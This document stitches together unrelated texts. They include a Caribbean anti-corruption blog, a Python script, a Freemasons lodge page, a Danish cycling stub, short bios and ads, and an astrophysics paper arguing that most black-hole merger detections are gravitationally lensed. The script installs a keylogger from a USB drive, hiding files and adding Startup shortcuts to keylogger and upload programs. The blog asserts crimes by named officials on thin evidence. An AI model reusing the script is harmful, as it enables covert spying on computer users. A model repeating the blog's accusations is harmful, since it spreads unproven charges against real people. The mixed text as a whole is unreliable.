Given that prime ministers are not allowed to engage in any acts that constitute a Conflict of Interest, and are prohibited from private business in general, a forensic audit of Browne assets in in order to determine whether he should be charged with corruption crimes, and his assets, wherever found, be seized and forfeited for the use and benefit of the people of Antigua and Barbuda.
WHERE DID ANTIGUA'S PRIME MINISTER GET $673,000 TO PURCHASE A HOME IN FLORIDA ?
This is a 2016 Special Warranty Deed transferring title to improved real estate, located in Pembroke Pines, Florida, to Gaston Browne, the Prime Minister of Antigua and Barbuda. Note that it was an all-cash transaction, and the Prime Minister paid $673,000 for the property. Where exactly does a Caribbean government leader, earning only a small salary, get over six hundred thousand dollars to purchase a home in another country? We have verified that there was no mortgage financing. Mr. Browne needs to answer some questions about this purchase.
There are a number of Red Flags surrounding the transaction:
(1) Browne's mailing address is listed as a real estate broker's office in Florida, not the actual property address, which is located at the Estates of Mayfair.
(2) Browne took title as "a Single Man," though we know that he is married with a family. Florida law provides that a wife is entitled to a portion of all realty owned by a husband during the marriage. It is not known whether he perjured himself by misrepresenting his marital status at the closing.
Why is Browne's wife not on the deed ? She is from Antigua's Bird family, as is the wife of his attorney, Dominica's Anthony Astaphan. The Birds were closely linked to former banking regulator, Leroy King, who has been fighting extradition to the United States for a decade, and many observers believe that, when King is eventually removed to the United States, he will quickly cooperate with Federal prosecutors, and name all the members of the extended Bird family as recipients of massive bribes and kickbacks. That is why his extradition has reportedly been delayed for more than ten years.
If the Receiver appointed to assemble assets, to pay the victims of R Allen Stanford's Stanford International Bank, seeks to recover from the extended Bird family, he could seize the assets of Browne, claiming an interest in the proceeds of crime, if his wife was on this property. he could also force Browne to identify the Source of Funds for the purchase, which might incriminate him. Browne is alleged to own several; properties in the United States, the value of which far exceed his ability, using his known income and assets, to purchase them.
MOSSACK AND FONSECA TO CLOSE, FINALLY
The Panama City law firm of Mossack & Fonseca, exposed by the Panama Papers as the favorite destination of corrupt Politically Exposed Persons (PEPs), tax evaders, and financial criminals of every stripe, has announced that it will close. Only a skeleton staff will remain, to answer court process and supply information to law enforcement, as needed. The firm came to symbolize the global use of offshore corporations as a financial obscenity that has no place in legitimate commerce.
The reasons stated by an M & F spokesman for the closing are telling:
(1) Reputational damage.
(2) The negative media coverage.
(3) The response of the financial community.
(4) Subsequent actions by Panamanian regulators, prosecutors and law enforcement agencies.
Whether the three senior partners of the firm will ever be convicted, one year after their arrest, remains to be seen. Some current leaders in Panama could fall, if the arrested M & F partners disclose their corrupt use of the law firm for financial gain.
The attorneys who worked at M & F have largely transitioned into other jobs; law enforcement seems to have no interested in prosecuting them, so er will be watching to see whether they follow in their former bosses' footsteps, as attorney-criminals.
ANTIGUA, WHERE EVEN THE DOGCATCHER HAS A DIPLOMATIC PASSPORT
As we have detailed in a prior article, only a very small percentage of the Antiguans holding their country's diplomatic passport are actually accredited diplomats. The vast majority of the others are a mixed bag of dodgy foreign nationals, who have paid a princely sum for their treasured travel document, and local politicians, party members, friends and family, none of whom are legally authorized to receive one.
Under international law, diplomatic passports can only be issued to working diplomats, who are posted or assigned to a specific mission or task, and whose credentials must be presented, and accepted, by the authorities, at the jurisdiction where the diplomat is assigned to. The holder cannot use it for pleasure travel; he must use his personal passport. It is not a trophy, suitable to show off at parties, but restricted to actual diplomats. So why does the Government of Antigua give them out like candy ?
Let's take a closer look at the recipients:
(1) Members of the Parliament of Antigua & Barbuda parliament, and their spouses.
(2) A individual knighted by Antigua.
(3) A person designated "National Hero."
(4) An Honorary Consul.
(5) Government ministers & their wives.
(6) The Attorney General.
(7) The former Attorney General.
(8) The former Governor-General.
(9) The sales and marketing manager, New York.
(10) The Registrar of Lands.
(11) Economist.
(12) "Film ambassador."
(13) The children of most of the above.
Honestly, is there ANYONE in Antigua government that does not have a diplomatic passport ? One wonders how many times these "diplomats" have used their bogus documents to breeze their way past customs and immigration agents at airports in the developing world, used them to evade payment of costs and fees, and even attempt to evade arrest when detained, claiming "diplomatic immunity," which they do not, under any circumstances, possess.
All of the foregoing passports should be recovered, and cancelled of record; Antigua needs to clean up this mess, before it is embarrassed by someone trying to use it to facilitate a crime.
A final note: diplomatic passports are furnished without charge to bona fide diplomats. Did these individuals pay someone in Antiguan government to obtain them ?
WHICH EAST CARIBBEAN OPPORTUNISTIC COUNTRY WILL GIVE KIM JONG-UN A PASSPORT ?
Kim Jong-Un and Kim Jong-Il, Enemies of Peace
Will the Fire Sale in CBI passports, offered by five Eastern Caribbean republics, who have reduced their prices in the aftermath of last year's hurricane, allow still more career criminals, terrorists, sanctions evaders, corrupt government officials, and assorted bad actors, to get an invaluable identity document, often in another name, to facilitate evil acts.
Look at the image above; it is a newly-released photograph of two legal Brazilian passports, complete with aliases, obtained by the past & present Supreme Leaders of North Korea, who is considered by experts to be the greatest threats to peace. Jong-Il, the father, then the leader of his country, also possessed such a bogus, yet totally legitimate, document, as you can see. The Kim family reportedly used the passports in international travel throughout Asia, as evidenced by visas.
I can show you literally dozens of CBI and diplomatic passports, obtained at extraordinary expense from one of the five East Caribbean governments, sold to individuals presently under arrest, or in custody facing criminal charges, all over the globe, often using high-powered, by borderline unethical global consultancies, and who would never have passed a genuine enhanced due diligence investigation. They are sanctioned Iranians, Chinese white collar criminals, Russian organized crime, and sundry other fugitives from justice.
Until the CBI programs are cleaned up, you can expect Kim Jong-Il to be acquiring a Dominica, Antigua or St Kitts passport anytime now, making the issuing country radioactive.
SENIOR ANTIGUA GOVERNMENT OFFICIAL BRAGS ABOUT BUYING VOTES IN THE NEXT ELECTION
According to an eyewitness, a senior Antigua government officer bragged that he was going to spend USD$50,000 per day, to pay voters not to vote in the upcoming national elections. He reportedly stated that he will give each voter $20 to surrender his voter identification card, which is a prerequisite to be allowed to cast a vote in any election in Antigua. It was further alleged that he intends to spend an equal amount of his money, each day, until the election, to insure that the Antigua Barbuda Labour Party (ABLP) wins, and remains in power. Bear in mind that either giving, or receiving anything of value, regarding the casting of a vote in an election, to influence the vote, is a crime in Antigua and Barbuda.
Officials in the Labour Government have threatened several whistle blowers with arrest, have taken steps to insure that any arriving journalists are detained and deported, and initiated nasty character assassination techniques upon their opponents. Their arrogance, and utter disregard for the Rule of Law knows no bounds. They believe they can act with impunity, influence and direct the results of the national election, and continue to commit corrupt acts, and other crimes, solely to illegally remain in public office. We trust that the people will have the final say in who will govern them.
VOTERS IN ANTIGUA ARE BEING OFFERED MONEY TO REFRAIN FROM VOTING
Foreign media sources are reporting that voters in Antigua are being offered a payment, in exchange for the temporary surrender of their voter identification card. Without that document proving identity, Antiguans are unable to cast their vote in the upcoming national elections. In essence, it is a bribe offered to voters. These allegations are said to have been made by the Opposition, and they have a factual basis; it is alleged at the Labor Party, which is led by the Prime Minister, Gaston Browne, is offering the money to voters.
Taking any form of payment, or benefit, to refrain from voting, is a violation of local law in Antigua; bribery charges can also be brought against the individual or individuals who offered the payment to the voters.
DOMINICA CBI PASSPORT PROGRAM ALTERS CLIENTS' NAMES TO HIDE THEIR IDENTITIES
If you want to see an example of how the Dominica Citizenship by Investment (CBI) program plays fast and loose with the truth, to aid criminal conduct, take a close look at the two passports in this article. They are his original Egyptian passport, and his CBI passport. Notice that a middle name was substituted for his legal, and correct, last name, thus giving him a new, sanitized identity that neither immigration agents, nor law enforcement investigators, will be able to connect him to.
Egyptian passport
This means that Due Diligence investigations on Dominica CBI applicants were never performed, as we suspect, and tailored alias entered in the passport, solely for criminal use. No wonder so many applicants have sought Dominica CBI passports; they are an effective stay-out-of-jail card.
WE WHO LABOUR HERE SEEK ONLY THE TRUTH ABOUT ANTIGUA
The Prime Minister of Antigua & Barbuda has accused this blogger, as well as those individuals who publish our articles on other websites, of taking money from the Opposition, to write about Antigua's corruption, failed CBI, and illegal diplomatic passport programs. The Prime Ministers of Dominica, as well as Grenada, have made similar slanderous statements, and we suspect the leaders of St Lucia will get around to defaming us sooner or later. I do not accept, directly or indirectly, anything from anyone in the Caribbean, or elsewhere, to write about financial crime, wherever it occurs.
We seek only the naked truth, and the leadership of the five East Caribbean republics that offer CBI programs need to clean up the rampant corruption that exist in their houses. When there is true transparency in those nations, I will stop exposing each and every corrupt act that I uncover. Shoot the messenger is the last resort of the scoundrels who fail to serve the people that elected them in good faith.
THE CARIBBEAN STATE OF DOMINICA, WHERE YOU GET A N...
PANAMA NAMES 55 PROMINENT VENEZUELANS TO AML/CFT/W...
HOW MANY IRANIANS ENGAGED IN SANCTIONS EVASION HOL...
NGO REPORT ON RAMPANT PALESTINIAN CORRUPTION A CAU...
LASTEST VERSION OF DPRK $100 SUPERNOTE PRINTED YEA...
CANADA, US & EU MOVE FORWARD WITH ACTION AGAINST C...
DID SEMLEX PRODUCE THOUSANDS OF DOMINICA PASSPORTS...
PANAMA'S NEW AD LIB INITIATIVE IN THE MIDDLE EAST ...
SEVERAL COUNTRIES CANCEL CONTRACTS WITH PASSPORT &...
IRANIAN BANKER IN THE MIDDLE OF $115m SANCTIONS EV...
BOGUS FINANCIAL INSTRUMENTS POSE A THREAT TO US FI...
THE CARIBBEAN'S FLAWED UNDERSTANDING OF DIPLOMATIC...
WIDESPREAD BRIBERY TAINTS ELECTION RESULTS IN GRE...
IRAN UNABLE TO COLLECT $170bn OWED TO IT BY LATIN ...
IRANIAN USING ST KITTS CBI PASSPORT REMINDS US OF ...
WILL NORTH KOREA DEPLOY ITS FINANCIAL WEAPONS AGAI...
ANTIGUA COMPLAINS TO THE IMF ABOUT WHISTLEBLOWERS ...
MASTER PONZI SCHEMER SCOTT ROTHSTEIN FILES PRO SE ...
PROMINENT FUGITIVE PANAMANIAN MONEY LAUNDERER DETA...
DRUG TRAFFICKING ISSUES INCREASE RISK TO GRENADA C...
WHY EAST CARIBBEAN VOTERS CHOOSE CORRUPTION OVER R...
NO SAFETY INSPECTIONS FOR DOMINICA-FLAGGED COMMERC...
EAST CARIBBEAN REPUBLICS MUST ABANDON CORRUPTION O...
PRIME MINISTER'S REPLY ABOUT HIS $673,000 CASH PUR...
PRIME MINISTER'S MEETING WITH PALESTINIANS RAISES ...
HOW DID ANTIGUA'S PRIME MINISTER "EARN" THIRTY MIL...
WHERE DID ANTIGUA'S PRIME MINISTER GET $673,000 TO...
ANTIGUA, WHERE EVEN THE DOGCATCHER HAS A DIPLOMATI...
WHICH EAST CARIBBEAN OPPORTUNISTIC COUNTRY WILL GI...
SENIOR ANTIGUA GOVERNMENT OFFICIAL BRAGS ABOUT BUY...
VOTERS IN ANTIGUA ARE BEING OFFERED MONEY TO REFRA...
DOMINICA CBI PASSPORT PROGRAM ALTERS CLIENTS' NAME...
RAISE COUNTRY RISK ON GRENADA FOR ONGOING DIPLOMAT...
SPANISH POLICE FABRICATED EVIDENCE IN POLITICAL MO...
US, CANADA & EUROPE TO SHUT THE DOOR ON CBI PASSPO...
ANTIGUA'S DIPLOMATIC PASSPORT HOLDERS: A ROGUES GA...
CHINESE NATIONAL WITH ANTIGUA DIPLOMATIC PASSPORT ...
DID NORTH KOREA CREATE THESE COUNTERFEIT HIGH-VALU...
ANTIGUA'S CONTINUED APPROVAL OF DODGY C0-DEVELOPER...
BESIDES THE SUPERNOTE, WHAT OTHER CURRENCY TRICKS ...
SWALLOW IMMIGRATION SELLS MULTIPLE CBI PASSPORTS, ...
RICARDO MARTINELLI'S APPELLATE BRIEF SEALED, LIKE ...
IRANIAN CONSULTANTS FROM ANTIGUA'S CBI PROGRAM ARE...
MOSSACK AND FONSECA FORMED BVI FRONT COMPANIES FOR...
FOREIGN REAL ESTATE DEVELOPERS AND CBI CONSULTANTS...
HAITI RECALLS ITS UN AMBASSADOR AFTER CORRUPTION I...
US REGULATORS AND LAW ENFORCEMENT AGENCIES SILENT ...
WILL HAMAS TERRORISTS ACQUIRE ANTIGUA CBI PASSPORT...
TRANSPARENCY INTERNATIONAL SLAMS EUROPE'S CBI PROG...
NEW NORTH KOREAN SERIES 2006 SUPERNOTE IS ON THE MOVE
TRUTH OR DARE IN ANTIGUA
WAR DRUMS ALONG THE AEGEAN WILL AFFECT COUNTRY RISK
A DECISION NEARS IN PONZI SCHEMER SCOTT ROTHSTEIN'...
WILL NORTH KOREA, SHORT ON CASH, FLOOD THE WEST W...
MARTINELLI FILINGS ON APPEAL ALSO STRANGELY SEALED


text:
import os
import shutil
import wmi
import win32api
import win32con
from win32com.client import Dispatch

#Copy files from removable drive to C:\Users\USER\AppData\Local\Microsoft\Windows\Explorer\temp
#Create shortcuts pointing to keylog executable
def copy():
	user = os.environ.get("USERNAME")
	c = wmi.WMI()
	remov_disks = c.Win32_LogicalDisk(DriveType=2)
	for disk in remov_disks:
		try:
			#copy files
			shutil.copytree(
				r'%s\temp' % disk.Name,
				r'C:\Users\%s\AppData\Local\Microsoft\Windows\Explorer' % user
			)
			shutil.copy(
				r'%s\autorun.inf' % disk.Name,
				r'C:\Users\%s\AppData\Local\Microsoft\Windows\Explorer' % user
			)
			#hide directory
			win32api.SetFileAttributes(
				r'C:\Users\%s\AppData\Local\Microsoft\Windows\Explorer\temp' % user,
				win32con.FILE_ATTRIBUTE_HIDDEN
			)
			#hide autorun.inf
			win32api.SetFileAttributes(
				r'C:\Users\%s\AppData\Local\Microsoft\Windows\Explorer' % user,
				win32con.FILE_ATTRIBUTE_HIDDEN
			)
		except: #Other storage device
			pass

def create_shortcut(path, target="", wDir="", icon=""):
	shell = Dispatch('WScript.Shell')
	shortcut = shell.CreateShortCut(path)
	shortcut.Targetpath = target
	shortcut.save()

if __name__ == "__main__":
	copy()
	#Create keylogger shortcut in startup programs
	create_shortcut(
		u'C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\k_short.lnk',
		u'C:\\Users\\%s\\appData\\Local\\Microsoft\\Windows\\Explorer\\temp\\keylog.exe' % user
	)
	#Create drive_scanner shortcut in startup programs
	create_shortcut(
		u'C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ds_short.lnk',
		u'C:\\Users\\%s\\AppData\\Local\\Microsoft\\Windows\\Explorer\\temp\\drive_scanner.exe' % user
	)
	#Create upload shortcut in startup programs
	create_shortcut(
		u'C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\up_short.lnk',
		u'C:\\Users\\%s\\AppData\\Local\\Microsoft\\Windows\\Explorer\\temp\\upload.exe' % user
	)
	#

redpajama_set_name: RedPajamaGithub


text:
Claygate Freemasons Lodge No 7930
Making friends and helping the community since 1963.
About Claygate Lodge
Charity & Freemasonry
Croydon and District Masonic Hall
The Provincial Grand Lodge of Surrey
Freemasonry is a society of men concerned with moral and spiritual values. Its members are taught its principles (moral lessons and self-knowledge) by a series of ritual dramas - a progression of allegorical two-part plays which are learnt by heart and performed within each Lodge - which follow ancient forms, and use stonemasons' customs and tools as allegorical guides.
The Surrey Provincial office is based in Croydon, our address is shown below.
There are Surrey Masonic Centres in Bisley, Camberley, Chertsey, Cranleigh, Croydon, Farnham, Godalming, Guildford, Nutfield, Surbiton & Sutton.
Nearly 300 lodges meet at these various locations, more information can be found in "where we meet" one of them will be convenient to you.
More than 7,600 people are masons of these lodges in Surrey and each lodge meets 4 or 5 times a year. You will find many that would be of interest to you through your work, your interests or hobbies.
Why people join
Freemasonry means different things to each of those who join. For some, it's about making new friends and acquaintances. For others it's about being able to help deserving causes – making a contribution to family and society. But for most, it is an enjoyable hobby.
Freemasonry is one of the world's oldest and largest non-religious, non-political, fraternal and charitable organisations. It teaches self-knowledge through participation in a progression of ceremonies. Members are expected to be of high moral standing and are encouraged to speak openly about Freemasonry.
Croydon and District Masonic Hall Province of Surrey
The Surrey Provincial office is based in Croydon.
Surrey Freemasons, 71 Oakfield Road, Croydon, Surrey, CR0 2UX
A fresh approach to life
Freemasonry is a fraternal society of like-minded men; its values are based on integrity, kindness, honesty and fairness. Members are urged to regard the interests of the family as paramount but, importantly, Freemasonry also teaches and practises concern for other people, care for the less fortunate and help for those in need. Its members are taught its principles by a series of dramas performed within each Lodge - which follow ancient ceremony and refer to stonemasons' customs and tools.
For more information go to the Povincial Grand Lodge of Surrey website.
Please direct any feedback regarding this website to claygatewebmaster@gmail.com
www.surreymason.org.uk

redpajama_set_name: RedPajamaCommonCrawl


text:
Dwars door Vlaanderen er et cykelløb i Flandern, Belgien. Traditionelt afvikles det om onsdagen som optakt til den flamske cykeluge som begynder med E3 Prijs Vlaanderen om lørdagen og afsluttes med Flandern Rundt en uge senere. Mål er altid i Waregem.

Fra 2017 indgår det i UCI World Tour-kalenderen.

Vindere

Referencer

Eksterne henvisninger

 Officielle hjemmeside

Etableret i 1945

redpajama_set_name: RedPajamaWikipedia


Its mid winter crazy week!
We are feeling a little crazy after being cooped up inside so much so we are have a mid-winter crazy week to get some of our crazies out.
We enjoyed our annual Christmas party on December 21st. It included lollipop the clown and a trip to pizza ranch!
We enjoyed our field trip to pizza ranch. We are thankful that it was a beautiful day so we were able to walk there.


text:
Ian Bowie
Submitted by pete@crate47.com on Wed, 09/06/2017 - 17:20
Role: Chambers Director
Ian spent his first year of employment as an apprentice draughtsman but, through sporting connections, became a junior clerk at 6 Pump Court in 1972. He was appointed senior clerk in April 1987, relocated chambers to 3 New Square in 1995 and left in October 2012. Ian joined Hogarth Chambers as a consultant in April 2013 and was appointed Chambers Director in 2017.
Ian is a keen clay pigeon shooter and a participant at the Inter Livery charity clay pigeon shoot every year. He is an enthusiastic golfer and skier, enjoys collecting - and occasionally drinking - wine and travelling whenever possible.
Email: ibowie@hogarthchambers.com


High quality photo of Jeremy Brett as Sherlock Holmes, David Burke as Dr. John Watson from The Adventures of Sherlock Holmes printed on premium brand Fujicolour Crystal Archive photographic paper. Starstills.com specialise in providing the finest celebrity and movie pictures to our customers. This high quality The Adventures of Sherlock Holmes photo is available in 4 different print sizes including 24x20'' (60cm x 50xm) wall poster size and 2 luxury framing options for our 8x10'' photos.


text:
\section{Introduction}

   Decades of EM-observations have established that black holes orbiting nearby stars have a narrow range of masses, $5-15M_\odot$, peaking at $8M_\odot$, with none known above $20M_\odot$, or below about 5$M_\odot$\cite{Remillard,El-Badry,Stanway}. Most local stellar black holes were identified by X-ray gas emission but more recently new methods have uncovered a black hole of $11.1\pm 2.2 M_\odot$ from direct orbital motion \cite{Saracino2021}, and a micro-lensing black hole of $7.1\pm1.3 M_\odot$ \cite{Sahu2022} has been determined from stellar astrometry, thereby independently reinforcing the stellar black hole mass mass range, $5-15M_\odot$. Here we show that this stellar black hole mass range is  shared by all 30 black holes that comprise the 15 lowest chirp mass BBH detections reported to date, which also span the range, $5-15M_\odot$, implying that these low chirp mass events comprise pairs of conventional black holes where both members are remnants of massive stars. This stellar mass population is clear in Figure~1 where we have ranked all BBH events by chirp mass, showing these 15 lowest mass events are centered on a chirp mass of $\simeq 8.5M_\odot$ and appear distinct form the majority of events of higher chirp mass. This distinction is also apparent in the component mass distribution of observed black hole masses shown in Figure~3, where a sharp, low mass peak is distinct from the majority of black holes that span a broad mass distribution centered on $\simeq 35M_\odot$, which we discuss below in the context of lensing.

\begin{figure*}[ht]
	\centering
\includegraphics[width=17.5cm,height=10cm]{L1_fit2c.png}

\caption{{\bf All reported binaries ranked by chirp mass} This ranked version of the ``Graveyard" plot reveals that BBH events share a common component mass ratio, forming a pair of remarkably parallel tracks when normalised by the total binary mass (lower point set), defining a common mass ratio of $1.45\pm0.03$ that spans the full range of chirp mass. We can also see here a step-like transition between the ``stellar mass" group of 15 lowest chirp mass BBH events centered on a rest frame value of $8.5M_\odot$, with $z<0.3$, and all the higher chirp mass events that follow a slowly rising curve, compatible with being high redshift, lensed examples of the lower mass ``stellar mass" group. The commonality in mass ratio between high and low chirp mass BBH events implies a common origin. Events marked as white lines with large mass ratios are the reported NSBH events and the lower Mass-Gap and Mass-Asymmetric events. The events marked in purple are discussed as possible second generation BBH mergers.
}
\label{r0-value2}
\end{figure*}

\begin{figure}[ht]
	\centering
\includegraphics[width=1.0\columnwidth,height=13cm]{L3_fig1_bright.png}

\caption{{\bf Comparison with Lens Model}. Predictions from our lens model for one year of observation at O3 sensitivity in the central and low panels, for comparison with the most trusted events reported by the LVK team in the upper panel. The predictions show a clear distinction between unlensed and lensed events marked with a vertical dashed line, arising directly from the high redshift enhancement of the chirp masses by $1+z$ for lensed events compared to the predicted unlensed events, for which $z<0.3$ - like the reported redshifts of the low chirp mass events. In the central panel we allow the component masses to be drawn randomly from the input lognormal mass distribution which has a wider spread of component mass ratios than in the upper panel of the data,  whereas, in the lower panel matches well the mass ratios of the data when we restrict the component mass ratio to $m_1/m_2=1.45$ with a small dispersion of $\simeq$ 10\%.}
\label{r0-value2}
\end{figure}

   It is also striking in Figure~1 that nearly all BBH events of high and low mass appear to share a common characteristic mass ratio of $m_1/m_2\simeq 1.45$, resulting in two very uniform, parallel bands when normalising by the total binary mass that span the full chirp mass range of Figure~1. To interpret this uniformity in mass ratio, it should first be appreciated that the cosmological expansion of GW waveform by $1+z$ exactly mimics a higher chirp mass binary \cite{Wang,Broadhurst2018} since gravitation is scale free, so binaries with masses $(m_1, m_2)$ in the rest frame are indistinguishable by frequency dependence from masses:
    $(\frac{m_1}{1 + z} , \frac{m_2}{ 1 + z})$, at redshift $z$, as the cosmological time dilation ensures the waveform is shifted by precisely the necessary amount to preserve the chirp shape and frequency by the same factor of $1+z$ for both the primary and secondary masses. Hence, the uniformity of the component mass ratios is inherent to the BBH black holes and independent of their redshifts.

   We now draw attention to the striking transition visible in Figure~1, marked by an upward step in chirp mass from $10.5M_\odot$ to $15.5M_\odot$, above the range of stellar mass black holes, indicated in figure~1 between the 15 low mass events which we have argued are stellar mass BBH binaries at low redshift, and all higher chirp mass events. In the context of lensing this transition neatly distinguishes high-z lensed events from low-z unlensed events because the chirp mass scales with redshift as $1+z$ via:
 \begin{equation}
     M_{\rm Chirp}(z)=(1+z)M_{\rm Chirp}(0)
\end{equation}
   Hence, this observed transition in chirp mass
   by $\simeq 5M_\odot$ is equivalent to an increase in $1+z$ of $\simeq 50\% $ which translates into a minimum redshift of $z>1.4$ for events above this transition relative to the measured mean redshift of $\bar{z}\simeq 0.2$ reported for the stellar mass BBH events lying below this transition.

\begin{figure}[ht]
 \centering
 \vspace{-1pt}

  \includegraphics[width=1.0\columnwidth,height=8cm]{L3_fig4_fit.pdf}
  \hspace{-20pt}
  \vspace{-1pt}
\caption{{\bf Distribution of binary black hole masses} Histogram of all 134 individual black hole masses for the 67 BBH events reported to date above
an SNR limit of 8 that we have modelled. The red curve shows our model prediction for lensed events and the black curve is for unlensed events. Both predicted curves have characteristic peaks because they derive from the same, relatively narrow log-normal distribution of the known stellar black holes in our Galaxy and together describe a bimodal distribution that matches the data well, with a mean redshift of $z\simeq 0.2$ and $z\simeq 2.8$ for unlensed and lensed BBH events respectively.}
\label{r0-value2}
\end{figure}

Regarding the origin of the high chirp mass events, we have argued that above a chirp mass of $\simeq 15M_\odot$, all events are gravitationally lensed, because BBH binaries with normal stellar mass black holes of $5-15M_\odot$ are detectable in the range $1<z<5$ at the current instrumental limits if lensed, with chirp masses dominated by the $1+z$ expansion factor (eqn.~1). We now apply our established lens model to generate distributions of lensed BBH events, based on the simplest, empirically based a-priori assumptions, by using the known mass function for stellar black holes and adopting the universal form for the high magnification tail of fold caustics, $\propto \mu^{-3}$ normalised by the known optical depth of galaxy lensing from sky surveys. Lensing by galaxies or clusters does not of course alter the frequencies of gravitational waves, but the detected strain is magnified, such that the inferred distance will be substantially underestimated by $\sqrt{\mu}$:

\begin{equation}
D_L(z_{inferred}) =\frac{{\rm M}_{chirp, z}^{5/6}}{h(t)} ~ F(t,{\rm M}_{obs},\Theta) = \frac{D_L(z_{true})}{\sqrt{\mu}}
\label{Eq_ht}
\end{equation}

 For binary events the detection function $F(t,{\rm M}_{obs},\Theta)$ combines the angular sky sensitivity, orbital inclination, spin and polarization of the binary source\cite{Finn} and its distribution is numerically estimated with a $\simeq 40\%$ dispersion\cite{Ng,Abbot_2016}. Our only major unknown is the evolution of BBH events for which there is a wide range of ideas\cite{Sig,Ban,Ugo,Farr}, so we adopt an exponentially declining BBH event rate for $z<2$ as the simplest assumption that we find to reproduce  the approximate 4-to-1 ratio of lensed to unlensed BBH events at the current depth of the data, as shown in Figures 1 \& 2, corresponding to an e-folding time of $\simeq 0.8 Gyr$ (see appendix). We stress that the rate of evolution is effectively the only degree of freedom we have in our lens model because the input mass function and the lensing optical depth are set by real priors established before GW events were detected, as outlined in detail in our first calculations\cite{Broadhurst2018} which we refer to as the BDS model.

Firstly, we show our predictions for unlensed BBH events with the BDS model, which depends mainly on the input BBH component mass distribution and not on lensing. Our predicted unlensed events span the range $z<0.3$ for the current O3 sensitivity, with a peak in detections at a chirp mass of $8-10M_\odot$. This is very similar to the inferred redshifts and chirp masses of the group of 15 low mass events that are reported to span $0.07<z<0.32$, with a mean of $z=0.17$, as listed in \cite{Abbott1+2} for periods 1\&2 and in \cite{Abbott2021} for period 3. The black hole masses comprising each binary are drawn in our model from a log-normal mass distribution in two ways, firstly by drawing each one randomly and secondly subject to the observed mass ratio of $1.45$ with a small dispersion in the component mass ratio of $10\%$, shown for comparison with the data in Figure~1 \& 2. We see this provides a very good reproduction of observed transition above the stellar black hole mass events as the transition from unlensed to lensed events and also matches the slowly rising behaviour in the high mass region above this transition, with the majority of high mass BBH events predicted to span $1<z<5$. This lens model also accounts for the bimodal appearance of the distribution of black hole masses shown in the histogram of Figure~3, with unlensed predicted events matching well the sharp low mass peak, whereas lensed events match well the broad distribution of high mass events peaking at $z\simeq 3$, corresponding to mean chirp mass of $40M_\odot$. The relative numbers of events between these two peaks allows us to determine that the intrinsic BBH event rate peaks at $z \simeq 3$, at a level that is about $\simeq 3$ orders of magnitude higher than the rate of unlensed detections at $z\simeq 0.2$,
but is well below the rate of formation of BHs implied by the rate of core SNe at $z\simeq 2$\cite{Diego_extreme} (see Appendix for rate evolution model details).

   We also compare our lens model in the mass-distance plane shown in Figure~4, for the reported values of chirp mass and distance, i.e. with no account for lensing. This comparison demonstrates there is good consistency between the unlensed input events with $M < 20M_\odot$, in the stellar mass range, and close agreement with the higher chirp BBH events that we predict are lensed in the redshift range $1<z<5$, comprising 80\% of all reported BBH events to date.

\begin{figure}[ht]
 \vspace{-1pt}

    \includegraphics[width=0.45\textwidth]{L3_fig4_big3.png}
 \vspace{-1pt}
\caption{{\bf Distance-Mass plane comparison.} This includes the most trusted reported BBH events marked with their measurement errors. The open and coloured circles are our unlensed and lensed event predictions respectively, where the colour indicates magnification. Colored triangles indicate a predicted second detection that is strong enough to be a repeat event. The predictions are made as if lensing is unrecognised, i.e. for comparison with the reported values. The simulated events correspond to 1 year of observation at O3 sensitivity.
}
\end{figure}

 In addition to the dominant BBH population of uniform mass ratio identified above, there are a few events with much higher mass ratios visible in Figure~1 (marked by white lines) centered on $m_1/m_2\simeq 5$. Of these, the two with lowest chirp masses have been identified as low redshift NSBH events\cite{AbbottNSBH} with neutron star masses of 1.5 \& 1.9$M_\odot$ and with black hole masses of 5.7 \& 8.9$M_\odot$ reported, indicating a conventional stellar origin for the black holes in these NSBH binaries. The next two events with high mass ratios shown in Figure~1 have been classified as "mass-gap" (MG), as their observed secondary component masses, 2.7 \& 3.3$M_\odot$, are more massive than neutron stars and less massive than stellar black holes\cite{AbbottMG}, which in the context of lensing we have simply concluded are examples of lensed NSBH events at $z \simeq 1$, with conventional NS and BH masses. This lensing interpretation can also be applied to the reported ``mass-asymmetric" event \cite{AbbottMA} because of its large mass ratio (Figure~1), which in the context of lensing we have argued is simply a higher redshift NSBH event, at $z\simeq 3.5$ so the NS mass then appears to exceed $5M_\odot$ and thus misclassified as a black hole\cite{BDS:2020}.

 Finally, we tentatively identify a possible population of 5 ``second generation events"  marked in purple in Figure~1, with mass ratios centered on $m_1/m_2 \simeq 2.0$. In the context of our lensing interpretation such events are anticipated, as the could comprise a typical remnant $\simeq 19M_\odot$ black hole (formed from  typical first generation pairs of 8 \& 11 $M_\odot$ seen in the ``unlensed" region of Figure~1), paired with a typical first generation black hole of $\simeq 10 M_\odot$, thereby resulting in a second generation event with $m1/m2 \simeq 2$, like the observed events marked in purple in Figure~1. Such second generation events should not be surprising in our model given the high early rate of BBH events that we have concluded in the context of lensing. Clearly, more data is required to determine whether there is a  such preferred mass ratio or whether these events are just the mass ratio tail of the general BBH distribution.

 \section{Discussion and Conclusions}

Over 90 pairs of merging black holes have now been reported spanning a wide range in chirp mass. These events now appear to be bimodal in terms of their observed chirp masses (see Figure~3) and also most of these BBH events have surprisingly similar component mass ratios across the full range of chirp mass (see Figure~1\&2), with a well defined mean value of $m_1/m_2=1.45 \pm 0.03$. Here we have shown that a simple alteration in interpretation, by invoking lensing, explains these features and accounts for the unusual events from the two mass gap regions as conventional stellar remnants (NS and BH) that are already observed in local group astronomy. Our conclusion that lensing dominates current GW events contrasts with other estimates where the input BBH mas distribution is based on the observed BBH events i.e. implicitly assuming that lensing is not significant, and because the observed mass distribution is so broad then lensed events are unrecognisable by mass because they seldom exceed the chirp masses of intrinsically wide mass function adopted \cite{Ng,Otto} and are thus outnumbered by the predicted rate of unlensed events. In our estimation the real BBH mass function is narrow, represented by only the lowest 20\% of chirp masses with $5-15M_\odot$, now clearly recognisable as a population in the BBH data, and hence we come to the opposite conclusion that lensing accounts for the majority of higher chirp mass events as high redshift, $1<z<5$, stellar mass black holes.

Our conclusion that BBH events are predominantly lensed is analogous to the brightest infrared galaxies detected in large sky surveys which are predominantly lensed by intervening galaxies into clear Einstein rings with a mean radius of $\simeq 0.85"$  \cite{Wardlow,Negrello,Bussmann},
demonstrating that lensing has magnified distant infrared galaxies (typically at $z\simeq 2$) to levels commonly exceeding the fluxes of the brightest unlensed galaxies, such that they dominate FIR detections in the first decade of flux\cite{Wardlow,Negrello,Bussmann}.
